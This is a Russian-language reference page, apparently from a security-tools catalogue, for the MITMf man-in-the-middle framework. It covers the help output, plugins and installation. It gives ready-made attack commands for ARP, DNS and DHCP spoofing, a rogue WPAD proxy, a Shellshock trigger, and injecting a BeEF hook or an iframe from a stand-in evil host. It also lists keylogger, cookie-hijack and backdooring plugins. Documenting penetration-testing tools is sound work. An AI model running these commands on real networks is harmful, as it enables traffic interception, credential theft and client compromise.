MITMf

'

Описание MITMf

MITMf — это фреймворк для атак человек-посередине (Man-In-The-Middle attacks). Этот инструмент основывается на sergio-proxy и является попыткой возродить и обновить этот проект.

Описание

Цель MITMf — быть инструментом всё-в-одном для сетевых атак и атак человек-по-середине, при этом обновляя и усовершенствую существующие атаки и техники.

Первоначально будучи созданной для исправления значительных недостатков других инструментов (например, Ettercap, Mallory), программа была практически полностью переписана с нуля для обеспечения модульного и легко масштабируемого фреймворка, который каждый может использовать для реализации своих собственных атак MITM.

Особенности

  • Этот фреймворк содержит встроенные сервера SMB, HTTP и DNS, которые могут управляться и использоваться множеством плагинов, он также содержит модифицированную версию SSLStrip proxy, которая позволяет HTTP модификацию и частичный обход HSTS.
  • Начиная с версии 0.9.8, MITMf поддерживает активную фильтрацию пакетов и манипуляцию (в основном то, что делали etterfilters, только лучше), позволяя пользователям модифицировать любой вид трафика или протокола.
  • Конфигурационный файл может быть отредактирован на лету в то время когда MITMf запущен, изменения будут переданы во фреймворк: это позволяет вам делать тонкую настройку плагинов и сервера во время выполнения атаки.
  • MITMf будет захватывать FTP, IRC, POP, IMAP, Telnet, SMTP, SNMP (community strings), NTLMv1/v2 (все поддерживаемые протоколы вроде HTTP, SMB, LDAP и т.д.) и учётные данные Kerberos с использованием Net-Creds, который запускается при старте программы.
  • Интеграция с Responder позволяет LLMNR, NBT-NS и MDNS poisoning, а также поддержку жульнического сервера WPAD.

Активная фильтрация/модификация пакетов

Теперь вы можете модифицировать любой пакет/протокол, который перехвачен MITMf, используя Scapy! (больше никаких etterfilters! ура!)

Например, вот тупой маленький фильтр, который просто меняет IP адрес назначения ICMP пакетов:

if packet.haslayer(ICMP):
log.info('Got an ICMP packet!')
packet.dst = '192.168.1.0'
  • Используйте переменную пакета для доступа к пакету в Scapy совместимом формате
  • Используйте переменную данных для доступа к сырым данным пакета

Теперь для использование фильтра всё, что нам нужно сделать это: python mitmf.py -F ~/filter.py

Возможно вы захотите комбинировать это с плагином Spoof, чтобы в действительности перехватывать пакеты от кого-то ещё 😉

Примечание: вы можете изменять фильтры на лету без перезапуска MITMf!

Домашняя страница: https://github.com/byt3bl33d3r/MITMf

Автор byt3bl33d3r

Лицензия: GPLv3

Справка по MITMf

Использование:

mitmf.py -i интерфейс [опции mitmf] [имя плагина] [опции плагина]
необязательные аргументы:
-h, --help показать справку и выйти
-v, --version показать номер версии программы и выйти
MITMf:
Опции для MITMf
--log-level {debug,info}
Указать уровень лога [по умолчанию: info]
-i INTERFACE Интерфейс для прослушивания
-c CONFIG_FILE Указать конфигурационный файл для использования
-p, --preserve-cache Не убивать кэширования клиента/сервера
-r READ_PCAP, --read-pcap READ_PCAP
Разобрать указанный pcap в поисках учётных данных и выйти
-l PORT Порт для прослушивания (по умолчанию 10000)
-f, --favicon Подставить иконку замка на безопасные запросы.
-k, --killsessions Убить работающую сессию.
-F FILTER, --filter FILTER
Применить фильтр для входящего трафика
FilePwn:
  Используя bdfactory, заражает исполнимые файлы, пересылаемые через HTTP бэкдором
  --filepwn             Загрузить плагин 'FilePwn'
Inject:
Инжект произвольного содержимого в HTML контент
--inject Загрузить плагин 'Inject'
--js-url JS_URL URL JS для инжекта
--js-payload JS_PAYLOAD
JS строка для инжекта
--js-file JS_FILE Файл, содержащий JS для инжекта
--html-url HTML_URL URL HTML для инжекта
--html-payload HTML_PAYLOAD
HTML строка для инжекта
--html-file HTML_FILE
Файл, содержащий HTML для инжекта
--per-domain Вставить один раз на домен для одного клиента.
--rate-limit RATE_LIMIT
Вставить один раз каждые RATE_LIMIT секунд на одного клиента.
--count-limit COUNT_LIMIT
Вставить только COUNT_LIMIT раз на одного клиента.
--white-ips IP Вставить контент ТОЛЬКО для этих IP (разделять запятыми)
--black-ips IP НЕ вставлять содержимое для этих IP (разделять запятыми)
--white-domains ДОМЕНЫ
Вставлять контент ТОЛЬКО для этих доменов (разделять запятыми)
--black-domains ДОМЕНЫ
НЕ вставлять контент для этих доменов (разделять запятыми)
SMBAuth:
Попытка вызвать SMB вызов-ответ аутентификации
--smbauth Загрузить плагин 'SMBAuth'
Ferret-NG:
Захватывает кукиз и запускает прокси, которые будут скармливать их подключённым клиентам
--ferretng Загрузить плагин 'Ferret-NG'
--port ПОРТ Порт на котором запустить прокси Ferret-NG (по умолчанию 10010)
--load-cookies FILE Загрузить кукиз из лог файла
ScreenShotter:
Использует HTML5 Canvas для отображения точного скриншота клиентских браузеров
--screen Загрузить плагин 'ScreenShotter'
--interval СЕКУНДЫ Интервал, через которые будут делаться скриншоты (по умолчанию 10 секунд)
AppCachePoison:
Выполнение атак травления кэша приложений (App Cache Poisoning)
--appoison Загрузить плагин 'AppCachePoison'
ImageRandomizer:
Заменить изображения на случайные из указанной директории
--imgrand Загрузить плагин 'ImageRandomizer'
--img-dir DIRECTORY Директория с изображениями
Spoof:
Перенаправить/модифицировать трафик используя ICMP, ARP, DHCP или DNS
--spoof Загрузить плагин 'Spoof'
--arp Перенаправить трафик используя ARP спуфинг
--icmp Перенаправить трафик используя ICMP редиректы
--dhcp Перенаправить трафик используя DHCP предложения
--dns Прокси/Модифицировать DNS запросы
--netmask NETMASK Сетевая маска сети
--shellshock PAYLOAD Триггер для уязвимости Shellshock когда спуфится DHCP и выполняется специфичная команда
--gateway GATEWAY Указать IP шлюза
--gatewaymac GATEWAYMAC
Указать MAC шлюза [автоматически преобразуется если пропущен]
--targets ЦЕЛИ Указать хост(ы) для травления [если пропущены, то по умолчанию подсеть]
--ignore ИГНОР Указать хосты(ы) которые не травить
--arpmode {rep,req} Режим ARP спуфинга: ответы (rep) или запросы (req) [по умолчанию: rep]
SSLstrip+:
Включить SSLstrip+ для частичного обхода HSTS
--hsts Загрузить плагин 'SSLstrip+'
Captive Portal:
  Стать перехватывающим порталом!
  --captive             Загрузить плагин 'Captive Portal'
  --portalurl URL       Указать URL, где размещён портал, например, http://example.com.
  --portaldir LOCALDIR  Указать локальный путь, содержащий файлы портала, обрабатываемые с SimpleHTTPServer на другом порту (смотрите конфигурацию).
  --use-dns             Используем ли мы dns для обработки красивого URL captive.portal, используется без опций или с portaldir. Требует преобразования DNS для "captive.portal", например, через настроенный DNS спуфинг --dns.
SMBTrap:
Эксплуатировать SMBTrap уязвимость на подключённых клиентах
--smbtrap Загрузить плагин 'SMBTrap'
BrowserProfiler:
Попытаться перечислить все плагины браузера подключённых клиентов
--browserprofiler Загрузить плагин 'BrowserProfiler'
JSKeylogger:
Инжект килогера javascript в веб-страницы клиентов
--jskeylogger Загрузить плагин 'JSKeylogger'
BrowserSniper:
Выполняет атаки на клиенты легендой об устаревшем плагине браузера
--browsersniper Загрузить плагин 'BrowserSniper'
Responder:
Травление LLMNR, NBT-NS и MDNS запросов
--responder Загрузить плагин 'Responder'
--analyze Позволяет вам видеть NBT-NS, BROWSER, LLMNR запросы без травления
--wredir Включает ответы для суффиксов запросов netbios wredir
--nbtns Включает ответы для суффиксов запросов доменов netbios
--fingerprint Отпечатки хостов, выпущенные на запрос NBT-NS или LLMNR
--lm Принудительное понижение хэширования LM для Windows XP/2003 и более ранних
--wpad Запуск фальшивого прокси сервера WPAD
--forcewpadauth Принудительная NTLM/Basic аутентификация на восстановление файла wpad.dat (может вызвать приглашение входа)
--basic Возвращает базовую HTTP аутентификацию. Если не установлена, то будет возвращена аутентификация NTLM
HTA Drive-By:
Выполнить атаку с HTA на клиентах
--hta Загрузить плагин 'HTA Drive-By'
--text TEXT Текст для отображения на панели уведомлений
--hta-app HTA_APP Путь до приложения HTA [по умолчанию config/hta_driveby/flash_setup.hta]
Replace:
Заменить произвольное содержимое в HTML контенте
--replace Загрузить плагин 'Replace'
Upsidedownternet:
Flips images 180 degrees
--upsidedownternet Загрузить плагин 'Upsidedownternet'

Руководство по MITMf

Страница man отсутствует.

--log-level

Тип — трока, можно выбрать из 'debug', 'info', по умолчанию — "info". Описание: особый уровень ведения лога.

-i

Назначение — 'interface', требуется — да, тип — строка. Описание: интерфейс для прослушивания.

-c

Назначение — 'configfile', metavar="CONFIG_FILE", тип — строка, по умолчанию – "./config/mitmf.conf". Описание: задаёт конфигурационный файл который нужно использовать.

-p, --preserve-cache

Действие — "store_true". Описание: не убивать кэширование клиента/сервера.

-r, --read-pcap

Тип — строка. Описание: парсить заданный pcap на наличие учётных данных и выйти.

-l

Назначение — 'listen_port', тип — целое положительное число, metavar="PORT", по умолчанию=10000. Описание: порт для прослушивания (по умолчанию 10000).

-f, --favicon

Действие — "store_true". Описание: подставить замок вместо иконки сайта на безопасных запросах.

-k, --killsessions

Действие — "store_true". Описание: убить сессии в прогрессе.

-F, --filter

Тип — строка. Описание: применить фильтр к входящему трафику.

Примеры запуска MITMf

Наиболее базовое использование это запустить HTTP прокси, серверы SMB,DNS,HTTP и Net-Creds на интерфейсе enp3s0:

python mitmf.py -i enp3s0

ARP poison на всю подсеть со шлюзом 192.168.1.1 используя плагин Spoof:

python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1

То же самое как и выше + жульнический WPAD прокси сервер используя плагин Responder:

python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --responder --wpad

ARP poison 192.168.1.16-45 и 192.168.0.1/24 со шлюзом на 192.168.1.1:

python mitmf.py -i enp3s0 --spoof --arp --target 192.168.2.16-45,192.168.0.1/24 --gateway 192.168.1.1

Включить DNS спуфинг во время ARP poisoning (Домены для спуфинга беруться из конфигурационного файла):

python mitmf.py -i enp3s0 --spoof --dns --arp --target 192.168.1.0/24 --gateway 192.168.1.1

Включить спуфинг LLMNR/NBTNS/MDNS:

python mitmf.py -i enp3s0 --responder --wredir --nbtns

Включить сфуфинг DHCP (ip пул и подсеть берутся из конфигурационного файла):

python mitmf.py -i enp3s0 --spoof --dhcp

То же что и выше, но в нагрузку с ShellShock, который будет выполнен если какой-либо клиент уязвим:

python mitmf.py -i enp3s0 --spoof --dhcp --shellshock 'echo 0wn3d'

Инжект IFrame в HTML, используя плагин Inject:

python mitmf.py -i enp3s0 --inject --html-url http://some-evil-website.com

Инжект скрипта JavaSript:

python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js

Запуск перехватывающего портала (captive portal), который перенаправляет всё на http://SERVER/PATH:

python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portalurl http://SERVER/PATH

Запустить перехватывающий портал на http://your-ip/portal.html используя страницей по умолчанию /portal.html (спасибо responder) и /CaptiveClient.exe (не приложен) из папки config/captive:

python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive

Как и выше, но с именем хоста captive.portal вместо IP (требует, чтобы captive.portal преобразовывался в ваш IP, например, через DNS спуфинг):

python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --use-dns

Перехватывающий портал с дополнительным экземпляром SimpleHTTPServer, работающим из LOCALDIR на http://IP:8080 (изменить порт в mitmf.config):

python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portaldir LOCALDIR

Как и выше, но с именем хоста:

python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --portaldir LOCALDIR --use-dns

И многое-многое другое!

Конечно вы можете использовать совместно и смешивать почти все плагины (например, ARP spoof + inject + Responder и т.д.)

Для полного списка опций просто запустите python mitmf.py --help

Установка MITMf

Установка н​а BlackArch

Программа предустановлена в BlackArch.

sudo pacman -S mitmf 
sudo mitmf --help

Или из исхоодников:

sudo pacman -S python-pip
sudo pip install virtualenvwrapper
source /usr/bin/virtualenvwrapper.sh
pacman -S mitmf python2-setuptools libnetfilter_queue libpcap libjpeg-turbo capstone
mkvirtualenv MITMf -p /usr/bin/python2.7
pip install requests[security]
cd /usr/share/mitmf/
pip install -r requirements.txt
cd
sudo python /usr/share/mitmf/mitmf.py --help

После перезагрузки запускайте так:

source /usr/bin/virtualenvwrapper.sh
mkvirtualenv MITMf -p /usr/bin/python2.7
sudo python /usr/share/mitmf/mitmf.py --help

Установка в Kali Linux

sudo apt-get install mitmf mitmflib
sudo mitmf --help

Или из исходников:

apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3 libcapstone-dev libxml2-dev libxslt1-dev python-dnslib python-magic python-netfilterqueue python-ua-parser python-user-agents
pip install virtualenvwrapper
source /usr/local/bin/virtualenvwrapper.sh
mkvirtualenv MITMf -p /usr/bin/python2.7
pip install requests[security]
git clone https://github.com/byt3bl33d3r/MITMf
cd MITMf && git submodule init && git submodule update --recursive
pip install -r requirements.txt
python mitmf.py --help

При последующих перезагрузках системы запускать так:

– переходите в каталог со скаченной программой, к примеру:

cd bin/MITMf/

Далее:

source /usr/local/bin/virtualenvwrapper.sh
mkvirtualenv MITMf -p /usr/bin/python2.7
python mitmf.py --help 

Установка в Debian, Mint, Ubuntu (а также в Kali Linux, если вы работаете под обычным пользователем)

sudo apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev python-pip git libxml2-dev libxslt1-dev libffi-dev libjpeg-dev libffi-dev libssl-dev libnfnetlink* libnetfilter-queue-dev
sudo pip install capstone
sudo pip install virtualenvwrapper
sudo -s
source /usr/local/bin/virtualenvwrapper.sh
mkvirtualenv MITMf -p /usr/bin/python2.7
sudo pip install requests[security]
git clone https://github.com/byt3bl33d3r/MITMf
cd MITMf && git submodule init && git submodule update --recursive
pip install -r requirements.txt
python mitmf.py --help

При последующих перезагрузках системы запускать так:

– переходите в каталог со скаченной программой, к примеру:

cd bin/MITMf/

Далее:

sudo -s
source /usr/local/bin/virtualenvwrapper.sh
mkvirtualenv MITMf -p /usr/bin/python2.7
sudo python mitmf.py --help

Скриншоты MITMf

Это утилита командной строки.

Доступные в настоящий момент плагины MITMf

  • HTA Drive-By : Вставляет фальшивое уведомление об обновлении и предлагает клиенту загрузить HTA приложение
  • SMBTrap : Эксплуатирует уязвимость 'SMB Trap' на подключённом клиенте
  • ScreenShotter : Использует HTML5 Canvas для рендера точного скриншота клиентского браузера
  • Responder : LLMNR, NBT-NS, WPAD и MDNS отравитель
  • SSLstrip+ : Частичный обход HSTS
  • Spoof : Редирект трафика используя ARP, ICMP, DHCP и DNS сфуфинг
  • BeEFAutorun : Автозапуск BeEF модулей, основываясь на типе ОС или браузера клиента
  • AppCachePoison : Выполняет HTML5 App-Cache poisoning атаки
  • Ferret-NG : Незаметно перехватывает (hijack) сессии клиента
  • BrowserProfiler : Пытается перебрать все плагины браузера клиента
  • FilePwn : Заражает бэкдорами исполнимые файлы, отправляемые через HTTP, используя Backdoor Factory и BDFProxy
  • Inject : Вставка произвольного содержимого в HTML контент
  • BrowserSniper : Выполняет атаки drive-by на клиентах с устаревшими плагинами браузера
  • JSkeylogger : Вставляет Javascript килоггер в веб-страницы клиента
  • Replace : Заменяет произвольный контент в HTML контенте
  • SMBAuth : Выызвает приглашение аутентификации SMB
  • Upsidedownternet : Переворачивает изображения на 180 градусов
  • Captive : Создаёт перехватывающий портал (captive portal), перенаправляя HTTP запросы используя 302

Инструкции по MITMf

Близкие программы:

  • Net-Creds (64.4%)
  • Bettercap 1.6 (60.7%)
  • Ettercap (60.7%)
  • bettercap (60.7%)
  • Intercepter-NG (59.1%)
  • SSLsplit (RANDOM - 53.3%)
  • Рекомендуется Вам:

    Comments are Closed